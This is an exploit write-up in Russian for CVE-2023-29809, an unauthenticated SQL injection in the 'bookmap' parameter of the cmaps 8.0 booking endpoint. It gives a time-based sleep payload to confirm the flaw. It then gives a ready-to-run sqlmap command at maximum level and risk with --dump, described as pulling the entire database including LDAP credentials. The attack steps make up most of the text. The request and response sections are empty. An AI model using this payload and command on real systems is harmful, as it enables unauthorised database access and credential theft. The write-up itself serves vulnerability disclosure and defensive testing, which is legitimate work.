Название эксплойта: Неаутентифицированная SQL-инъекция

• Google Dork:
• Дата: 27.04.2023
• Автор эксплойта: Lucas Noki (0xPrototype)
• Сайт вендора: https://github.com/vogtmh
• Ссылка на ПО: https://github.com/vogtmh/cmaps
• Версия: 8.0
• Протестировано на: Mac, Windows, Linux
• CVE : CVE-2023-29809

Описание:

Обнаруженная уязвимость — SQL-инъекция. Уязвимым является параметр bookmap. При посещении страницы: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test мы получаем обычный JSON-ответ. Однако если добавить одинарную кавычку к значению параметра bookmap, мы получим сообщение об ошибке:

<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />

Теперь, если добавить две одинарные кавычки, мы получим обычный ответ без ошибки. Это подтверждает возможность SQL-инъекции. Чтобы действительно доказать SQL-инъекцию, мы добавляем следующий payload:

'-(select*from(select+sleep(2)+from+dual)a)--+

Страница «заснёт» на две секунды. Это подтверждает SQL-инъекцию.

Шаги воспроизведения:

1. Отправьте следующий payload для проверки уязвимости: '-(select*from(select+sleep(2)+from+dual)a)--+

2. Если сайт «заснул» на две секунды, выполните следующую команду sqlmap, чтобы выгрузить всю базу данных, включая учётные данные LDAP.

   root@kitploit:~

   python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
   

Отдельная благодарность iCaotix, который очень помог мне с настройкой окружения, а также с отладкой моего payload.

Запрос к серверу:

Ответ сервера:

Обратите внимание на время ответа.